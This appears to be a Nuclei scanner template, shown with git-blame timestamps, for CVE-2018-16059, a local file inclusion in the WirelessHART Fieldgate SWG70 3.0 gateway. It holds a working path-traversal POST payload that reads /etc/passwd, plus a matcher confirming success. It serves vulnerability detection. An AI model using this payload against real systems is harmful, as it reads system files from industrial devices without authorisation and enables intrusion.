2021-07-19 10:16:19 +00:00
|
|
|
id: CVE-2018-16059
|
|
|
|
|
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion
|
2021-07-19 10:16:19 +00:00
|
|
|
author: daffainfo
|
2021-07-19 18:45:32 +00:00
|
|
|
severity: medium
|
2022-07-26 13:45:11 +00:00
|
|
|
description: WirelessHART Fieldgate SWG70 3.0 is vulnerable to local file inclusion via the fcgi-bin/wgsetcgi filename parameter.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://www.exploit-db.com/exploits/45342
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://ics-cert.us-cert.gov/advisories/ICSA-19-073-03
|
2022-07-26 13:45:11 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-16059
|
2022-07-26 13:58:43 +00:00
|
|
|
- https://www.exploit-db.com/exploits/45342/
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 5.3
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2018-16059
|
|
|
|
cwe-id: CWE-22
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: cve,cve2018,iot,lfi,edb
|
2021-07-19 10:16:19 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/fcgi-bin/wgsetcgi"
|
|
|
|
body: 'action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-07-19 10:16:19 +00:00
|
|
|
part: body
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-07-26 13:45:11 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/07/22
|